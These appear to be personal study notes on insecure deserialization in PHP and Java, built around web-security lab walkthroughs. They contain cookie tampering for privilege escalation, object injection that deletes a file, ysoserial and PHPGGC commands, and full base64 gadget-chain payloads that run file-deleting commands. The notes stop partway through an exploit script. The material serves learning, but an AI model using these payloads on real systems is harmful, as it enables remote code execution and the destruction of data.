---
# System prepended metadata

title: Insecure Deserialization

---

# Insecure Deserialization

###### `php` `java` `web` `insecure deserialization`

[TOC]
[]
# Serialization

![](https://hackmd.io/_uploads/rJ4IrQ4y6.png)

Date can be serialized in two types of formats:

- binary serialization format.
- string-based formats.

# Serialization Vs deserialzation
![](https://hackmd.io/_uploads/SkuPv7Vyp.png)


Serialization.php

```php
<?php
class user {
    public $userName;
    public $password;

    public function __construct($userName,$password)
    {
        $this->userName = $userName;
        $this->password = $password;
    }
}

$user1 = new user("meowhecker","meoweckerPassword");

//echo $user1;
//Fatal error: Uncaught Error: Object of class user could not be converted to string

//serialized "object" to "string"
$serializeUser = serialize($user1);
echo $serializeUser;
echo "<br>";


$deserializedUser = unserialize($serializeUser);
echo "Persisted Property<br>";
echo "Deserialized User: Name = " . $deserializedUser->userName . ", Password = " . $deserializedUser->password;

?>
```

Result:
![](https://hackmd.io/_uploads/Sk8O8bEy6.png)

Serialization can convert the object into string, making it suitable for storage in a database or inter-process memory and file.


`http_build_query`
php construct query Method:
convert 'associate Array ' into 'http query form'
```
data=serialized_data_here
```


```
file_get_contents('php://input') 这一行是 PHP 代码，它用于从标准输入流中获取数据。
```

## serialClient.php

```php
<?php 

class user {
    public $userName;
    public $password;

    public function __construct($userName,$password)
    {
        $this->userName = $userName;
        $this->password = $password;
    }
}

$user1 = new user("meowhecker","meoweckerPassword");

$serializedData = serialize($user1);
echo "initial:";
echo $serializedData;
echo "<br>";
// HTTP Network transfer

$options = [
    'http'=>[
        'method'=>'POST',
        'header'=>'Content-type: application/x-www-form-urlencoded',
        'content'=>$serializedData
    ]
];

$context = stream_context_create($options);

$response = file_get_contents('http://127.0.0.1/insecurityDeserialization/serialServer.php', false, $context);

echo "Response:";
echo $response."<br>";


$deserializedData = unserialize($serializedData);
echo $deserializedData->userName."\n";
echo $deserializedData->password;
?>
```

## serialiServer.php
```php
<?php


class user {
    public $userName;
    public $password;

    public function __construct($userName,$password)
    {
        $this->userName = $userName;
        $this->password = $password;
    }
}

//capture reqeust 
$rawData = file_get_contents('php://input');

// echo $rawData; //(urlEncoded)
$decodedRawData = urldecode($rawData);
echo $decodedRawData;
echo "<br>";

$deserializeData = unserialize($decodedRawData);
//Check if unserialize was successful
if ($deserializeData !== false){
    echo "unserialize was successful";
    echo "User Name: " . $deserializeData->userName . "\n";
    echo "Password: " . $deserializeData->password;
    $deserializeData->userName="meowHacker";
}else{
    // Failed to unserialize
    echo "Failed to unserialize the data.";
}

?>
```
Result 

![](https://hackmd.io/_uploads/ry0eNXNk6.png)


# Insecure Deserialization 

Insecure Deserialization occur when user-controllable data is deserialized by a website 

Attacker can manipulate the serialized data to inject malicious serial objects into the application code. 

==Insecurity Deserialization is sometime knows as an 'object injection " vulnerability==



## Arise

"Insecure deserialization occurs during the process of deserializing user-controllable data


Deserialized objects often assumed to be trusted.


# Impact

it allow attack to reuse existing application code 


- Remote code executing 
- Privilege escalation 
- Arbitrary file access 
- Denial-of-service



# Identity Insecurity Deserialization 

Burp Suite Professional can use Burp Scanner to automatically identify serialized message content within HTTP messages.


## PHP serialization format


object 
```
$user->name = "carlos";
$user->isLoggedIn = true;
```

serialized
```
`O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}`
```
b:1->bool = true


## Java serialization format

Java, use binary serialization formats.




# Manipulating serialized objects

Step1 

Analysis serialized data to identity and edit interesting attribute value

Step 2

Pass the malicious object into the website via its deserialization process.

method 1

Directory edit its byte stream form

method 2 (more easy[binary-base])

write a short script to create and serialize object yourself.



Burp Suite BApp store: 
Hackvertor extension: automatically serialize the data to binary serialized form 



## Modifying object attribute 


Sample (Vulnerable)
```
O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}
```

backend-Code 
```
$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}
```

If developer use the current cookie for verification
, we could modify b:0 to b:1, if the server didn't whether serialize have been modified, it can lead to an easy privilege escalation 

## LAB-Modify serialized objects.

==Impact==
Post-auth:privilege  escalation!!

==Vulnerable== 
- cookie can be decode by Base64 and modify 
- Insecure deserialization 

==Analysis==

GET /my-account?id=wiener HTTP/2
cookie(it can be parse by base64 decode)
![](https://hackmd.io/_uploads/ryuVvIEJp.png)
```
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
```

we could try modify b:0 to b:1 to privilege escalation

```
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
```

![](https://hackmd.io/_uploads/Hkv3wLNk6.png)

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=
```

![](https://hackmd.io/_uploads/rJYVdUVyp.png)

![](https://hackmd.io/_uploads/BkardIEJp.png)

![](https://hackmd.io/_uploads/S1mPOIVJp.png)

![](https://hackmd.io/_uploads/SybgYLV1a.png)

![](https://hackmd.io/_uploads/rkdbt84Jp.png)

## Modifying Data Type 


In addition to modify the attribute of object we also can change the data type 


PHP language has vulnerabilities related logic determination, especially when using comparison operator

Sample 
```
5(number) == "5"(string)
```
the result of comparison is true, which my lead to unexpected behavior!!


Flaw login Implement
```php
<?php 

class user {
    
    public $userName;
    public $password;

    public function __construct($userName,$password)
    {
        $this->userName = $userName;
        $this->password = $password;
    }
}
if (isset($_COOKIE['login'])){

    try {
        $login = unserialize($_COOKIE['login']);
        // pass the login validation
    }catch (error){
        
    }
}
if ($login['userName'] == $valiUserName && $login['password'] == $valiPassword) {
    $userObj = new user($valiUserName,$valiPassword);
    setcookie('login',serialize($userObj),time()+3600);

    //Redirect 
    header('Location: meowhecker.php');
    exit;
}else {
    $loginError = 'Invalid username or password';
}
?>

```

![](https://hackmd.io/_uploads/SkHD94S1p.png)


==Note==

If we modify the serialize objects

Remember to update any type labels and length indicators in the serialized data.

Otherwise, the serialize object will corrupted 



## LAB-Modifying serialized data type


vulnerable functionality

- Serialization-base session



![](https://hackmd.io/_uploads/ryd4WBSy6.png)


-> Access_token 
if we can pass Access_token determine is true.


```
if ( validatedtoken == $_COOKIE['session'].access_token){
// do someting 
}
```


session(base64 decode)
```
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"w6m729xaanosyp9cs54slihax380bumk";}
```

we can attempt to modify the access_token to integer


Serialize Script
```php
<?php
class User {
    
    public $username;
    public $access_token;

    public function __construct($username,$access_token)
    {
        $this->username = $username;
        $this->access_token = $access_token;
    }
}

$User = new User("wiener",0);

echo serialize(($User));
?>
```


```
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";i:0;}
```

base64 Encoding

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtpOjA7fQ==
```


![](https://hackmd.io/_uploads/HJLNSHrk6.png)


access_token = 0 can pass the login logic!! 

We could use 'administrator' Account to privilege escalation !! 

```php=

<?php
class User {
    
    public $username;
    public $access_token;

    public function __construct($username,$access_token)
    {
        $this->username = $username;
        $this->access_token = $access_token;
    }
}

$User = new User("administrator",0);

echo serialize(($User));
?>
```


![](https://hackmd.io/_uploads/r1n0SHByT.png)

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9
```

![](https://hackmd.io/_uploads/H1AWISSJT.png)


![](https://hackmd.io/_uploads/HyghHUBr1p.png)

Delete the User
![](https://hackmd.io/_uploads/B1O_LSHy6.png)


![](https://hackmd.io/_uploads/B1AcIBBy6.png)

---


## Using application function

Serialized data potentially  be unserialized and passed to function to do something such as deleting the user 

```php=

<?php
class User {
    public $id;
    public $username;
    public $email;

    public function __construct($id,$username,$email)
    {
        $this->id = $id;
        $this->username = $username;
        $this->email = $email;
    
    }
    public function deleteUser(){
        echo "Deleting user: " . $this->username;

        // delete User Code
    }

}
$serializedUser = $_COOKIE['session'];

$user = unserialize($serializedUser);

$user->deleteUser();

?>
```

Vulnerable code allows an untrusted serialized object to be deserialized and invoke a delete function.


## LAB-Using application functionality to exploit insecure deserialized.


### Goal 

Delete `morale.txt` file from Carlos





modify the payload

```
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"wb5duf0unp6g7q4al6mvq7xm9l4jojdc";s:11:"avatar_link";s:18:"/home/carlos/morale.txt";}
```

Image:
![](https://hackmd.io/_uploads/r1ltfU9Hy6.png)


![](https://hackmd.io/_uploads/r1HAI5Syp.png)

Capture the Delete post Request

![](https://hackmd.io/_uploads/BkyWw9Hyp.png)


![](https://hackmd.io/_uploads/ryG8dqSJT.png)


```php

<?php
class User {
    
    public $username;
    public $access_token;
    public $avatar_link;

    public function __construct($username,$access_token,$avatar_link)
    {
        $this->username = $username;
        $this->access_token = $access_token;
        $this->avatar_link = $avatar_link;
    }
}
$User = new User("wiener","k8mijlw638hqzbv4sqqgg1m2tyi4etg6","/home/carlos/morale.txt");
$serialUser = serialize(($User));
echo $serialUser,"<br>";
$SerialBase64User = base64_encode($serialUser);
echo $SerialBase64User;
?>
```

serialized object(base64 encoding)
```
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJrOG1pamx3NjM4aHF6YnY0c3FxZ2cxbTJ0eWk0ZXRnNiI7czoxMToiYXZhdGFyX2xpbmsiO3M6MjM6Ii9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9
```

![](https://hackmd.io/_uploads/H1hzYcrka.png)


![](https://hackmd.io/_uploads/S1LZYqSyT.png)


---


## Magic methods 

Magic methods are special methods that you do not have to explicitly invoke

e.g. constructor methods

Magic methods usually using the double_underscore surround or prefixing with method name.

php
```php
__constructor()
```

python
```
__init__
```

Constructor method which is invoked, when the object of class is instantiated.


If attackers can control serialized data
, they can utilize magic methods(under certain conditions) to automatically invoke restricted
 methods.

---

PHP 

when php unserializes the data the "\__wakeup()\" magic function will automatically be invoke 

Serialize() method 



Sleep and wakeup "methods"
These methods are invoked or executed when we want to deal with serialization and deserialization of objects during runtime to store or save the object information in string format

--- 

```php=
<?php

class userObject{

    public $name;

    public function __construct($name)
    {
        $this->name = $name;
    }

    public function __sleep()
    {
        // sleep method -> prisist the data when serialize or unserialized
        return ["name"];
    }

    public function __wakeup()
    {
        echo "Wakeup function start:". $this->name . "</br>";
    }
}
//Serialize object
$user = new userObject("meowhecker");
$userSerialize = serialize($user);
echo $userSerialize;
echo "</br>";

//Unserialize object 
$userDeSerialize = unserialize($userSerialize);
echo $userDeSerialize->name;
?>
```

![](https://hackmd.io/_uploads/ryAFK8t16.png)

```
O:10:"userObject":1:{s:4:"name";s:10:"meowhecker";}
Wakeup function start:meowhecker
meowhecker
```
---



Java serialize (Skip)



---

## Injecting Arbitrary Object

In addition, when editing existing objects on the website, we could inject arbitrary objects


Manipulating serialized data can have an impact on two aspects:

1.  During the unserialization of objects.
2.  After the unserialization of objects.


Deserialization methods usually didn't check the serialize data which was modified.

we could pass the class of object that is available on the website, because unserialize method didn't check it 

We pass in arbitrary object will be instantiate.

if we can access the source code, we can identify all available objects and potentially use them to write our exploits.


## LAB- Arbitrary object injection in php


PHP __destruct method

```php
<?php

class user{

    public function __construct()
    {
        echo "Object created";
    }

    public function someTaskPerform(){
        echo "do some tasks";
    }
    public function __destruct()
    {
        echo "Object Destruct";
    }

}
$userObject = new user;
$userSerialize = serialize($userObject);

echo $userSerialize;
?>
```


![](https://hackmd.io/_uploads/ry1xIdtJ6.png)



![](https://hackmd.io/_uploads/rJsPouFJT.png)

```php=
<?php
class user{

    private $filePath;
    public function __construct($filePath)
    {
        $this->filePath = $filePath;
        
        echo "Object created </br>";
    }

    public function someTaskPerform(){
        echo "do some tasks </br>";
    }
    public function __destruct()
    {
        $currentDirectory = getcwd();
        echo "Current Directory: " . $currentDirectory . "<br>";
        echo $this->filePath;
        unlink($this->filePath);
    
    }
}

$deleteFilePath = "C:\Users\USER\Desktop\CSIE\WebSecurity\insecurityDeserialization\magicFunction\meowhecker.txt";
$userObject = new user($deleteFilePath);

// $userSerialize = serialize($userObject);
// echo $userSerialize;
?>
```

__destruct()
Directory -> C://Xampp

Result:
```
Object created
Current Directory: C:\xampp
C:\Users\USER\Desktop\CSIE\WebSecurity\insecurityDeserialization\magicFunction\meowhecker.txt
```

unlink -> delete the file 
---

Analysis:

(site map)
the website include the library 

![](https://hackmd.io/_uploads/B1SquhFJa.png)

![](https://hackmd.io/_uploads/r1Yt_3Y1p.png)


if we append the "~" after the request path we might be able to access the source code and analysis it on burpsuite repeater.

![](https://hackmd.io/_uploads/Hy9U8_YJT.png)

---


Cookie (Can be decode by base64)

![](https://hackmd.io/_uploads/BkxWy3Kka.png)

```
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"lpm59lw04sv0d8eksscdaq4q8w3nnz0w";}
```



```php
<?php

class CustomTemplate{
    public $lock_file_path;
    public function __construct($lock_file_path)
    {
        $this->lock_file_path= $lock_file_path;
    }
}

$injectObj = new CustomTemplate("/home/carlos/morale.txt");
$serailObj = serialize($injectObj);
echo $serailObj."<br>";
$injectSerialObj64 = base64_encode($serailObj);
echo $injectSerialObj64;

?>
```

![](https://hackmd.io/_uploads/ByUdP2Ykp.png)


![](https://hackmd.io/_uploads/S1Tc8htJ6.png)


![](https://hackmd.io/_uploads/r10UI2Y1p.png)

The `__destruct()` magic method is automatically invoked and will delete Carlos's file.


# Gadget chains

A gadget is a snippet of code exits in application that can help the Hacker to archive particular goal.



Sometime, a single gadget may not directory do  harmful acntion whit our input, In such case,we can attempt to connect the output of one gadget to the input of another gadget and chain them together.Eventually we can direct the payload to danger sink to archive RCE or more significant damage.


==kick-off gadget==
This is typically done using a magic method that is invoked during deserialization,



## Pre-build gadget chains

To manually identify and create a gadget chain, access to the source code is essential. Without the source code, it becomes exceedingly difficult, if not impossible, to construct such a chain by yourself.


if a library have pre-discover gadget chain.
we can attempt use them to test websites that include include the vulnerable library.



#### ysoserial (java 






## LAB Exploit java deserializatoin with apache Commons

```
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
```


![](https://hackmd.io/_uploads/SkfGYq5Ja.png)

```
root@ip-172-31-37-135:/home/ubunjava -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0
```

-w - -> not "\n"

Java payload(RCE)

```
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAAAnNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAP29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H+khtA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAUTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABqrK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAacm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBABt5c29zZXJpYWwvUHduZXI4MzkzMDI4MDAzNDMBAB1MeXNvc2VyaWFsL1B3bmVyODM5MzAyODAwMzQzOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AHwAAAdTK/rq+AAAAMgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4dXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHcEAAAAA3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABcQB+ACl4
```
URL encode (special characters)

![](https://hackmd.io/_uploads/r1gVMjc1T.png)


![](https://hackmd.io/_uploads/SJjbXockp.png)

---

### ysoserial(java tools)

Github
https://github.com/frohoff/ysoserial

Not all payloads are capable of triggering the remote code execution.

#### ==URLDNS chain== 


the URLDNS chain can  trigger DNS lookup that interact with our C2 server ==(Importantly, it doesn't depend on a specific library.)==

if we know it java version in use, URLDNS chain becomes one of the most universal application gadget chain for identifying the insecure inserialization vulnerability.


==If you spot a serialized object in the traffic==

we can use gadget chain to generate an object that trigger the DNS interaction with Burp Suite Collaborator Server.

#### ==JRMPClient

With the JRMPClient gadget chin, we can maker the server establish the TCP connection to our supplied IP address(using RAW Ip address)


This gadget chain is useful in particular the network environment where outbound connection was be limited.(DNS lookup doesn't work!!)  


## PHP generic gadget chains(PHPGGC)

Proof of concept tools (verify the vulnerability is exits)

## LAB-Exploit PHP deserialization with a pre-built gadget chain 


![](https://hackmd.io/_uploads/SyeQwzhJa.png)





```
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJmaTEwY2NydzVwZmFjd3RkY3JxM3B6ODdrbzBqYWZlNiI7fQ==","sig_hmac_sha1":"543e7e1ef3ec472fa49391e93906458398e72a70"}
```

---
Analysis 

### PHP framework version (Error-Base)


![](https://hackmd.io/_uploads/BJzf0fnJT.png)

FrameWork -> Symfony 4.3.6



### phpinfo.php (information leak)
![](https://hackmd.io/_uploads/B1JCAMnJ6.png)

![](https://hackmd.io/_uploads/rJ9m1X3Ja.png)

![](https://hackmd.io/_uploads/B16d1XhJa.png)

key
```
iuaqnabgjtoa6mbmgwr0yko1jc9vo6cc
```

UsuallyL
Signature = secretKey + Token (which can be replaced with a PHPGGC payload) !!


Analysis: "sig_hmac_sha1"

"sig_hmac_sha1":"543e7e1ef3ec472fa49391e93906458398e72a70"


---

### Analysis signature Function


UsuallyL
Signature = secretKey + Token (which can be replaced with a PHPGGC payload) !!

Signature(sha1) (Proof of concept)
```php
<?php

//Store on php service
$secrekey = "meowheckerKey";

//Hash data (payload)

$data = "meowhecker";
//hash_hmac

$hash1 = hash_hmac('sha1',$data,$secrekey); //順序有差
$hash2 = hash_hmac('sha1',$secrekey,$data);
echo "Generated Hash1:" . $hash1. "\n";
echo "Generated Hash2:" . $hash2;
?>
```

![](https://hackmd.io/_uploads/HJveifh1p.png)


We have to find the server private key to break the sig_hmac_sh1 and inject RCE (gadget object)





### PHPGGC (Pre - gadget tools)

https://github.com/ambionics/phpggc

gadget (payload) RCE 


Search Gadget chain 
![](https://hackmd.io/_uploads/HJlcxQ21p.png)


```
ubuntu@ip-172-31-37-135:~/phpggc$ ./phpggc -l | grep Symfony
Symfony/FD1                               v3.2.7 <= v3.4.25 v4.0.0 <= v4.1.11 v4.2.0 <= v4.2.6    File delete               __destruct          
Symfony/FW1                               2.5.2                                                   File write                DebugImport    *    
Symfony/FW2                               3.4                                                     File write                __destruct          
Symfony/RCE1                              v3.1.0 <= v3.4.34                                       RCE: Command              __destruct     *    
Symfony/RCE2                              2.3.42 < 2.6                                            RCE: PHP Code             __destruct     *    
Symfony/RCE3                              2.6 <= 2.8.32                                           RCE: PHP Code             __destruct     *    
Symfony/RCE4                              3.4.0-34, 4.2.0-11, 4.3.0-7                             RCE: Command              __destruct     *    
Symfony/RCE5                              5.2.*                                                   RCE: Command              __destruct          
Symfony/RCE6                              v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13       RCE: Command              __destruct     *    
Symfony/RCE7                              v3.2.0 <= v3.4.34 v4.0.0 <= v4.2.11 v4.3.0 <= v4.3.7    RCE: Command              __destruct          
Symfony/RCE8                              v3.4.0 <= v4.4.18 v5.0.0 <= v5.2.1                      RCE: Command              __destruct          
Symfony/RCE9                              2.6.0 <= 4.4.18                                         RCE: Command              __destruct          
Symfony/RCE10                             2.0.4 <= 5.4.24 (all)                                   RCE: Command              __toString          
Symfony/RCE11                             2.0.4 <= 5.4.24 (all)                                   RCE: Command              __destruct          
```

```
Symfony/RCE4  4.2.0-11
```
the website php framework    4.2.0 < 4.2.6 < 4.2.11


Generate RCE payload 

```
ubuntu@ip-172-31-37-135:~/phpggc$ ./phpggc Symfony/RCE4 exec "rm /home/carlos/morale.txt" | base64 -w 0 
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==
```


### Write Exploit Script 
```php
<?php

$secrekey = "iuaqnabgjtoa6mbmgwr0yko1jc9vo6cc";
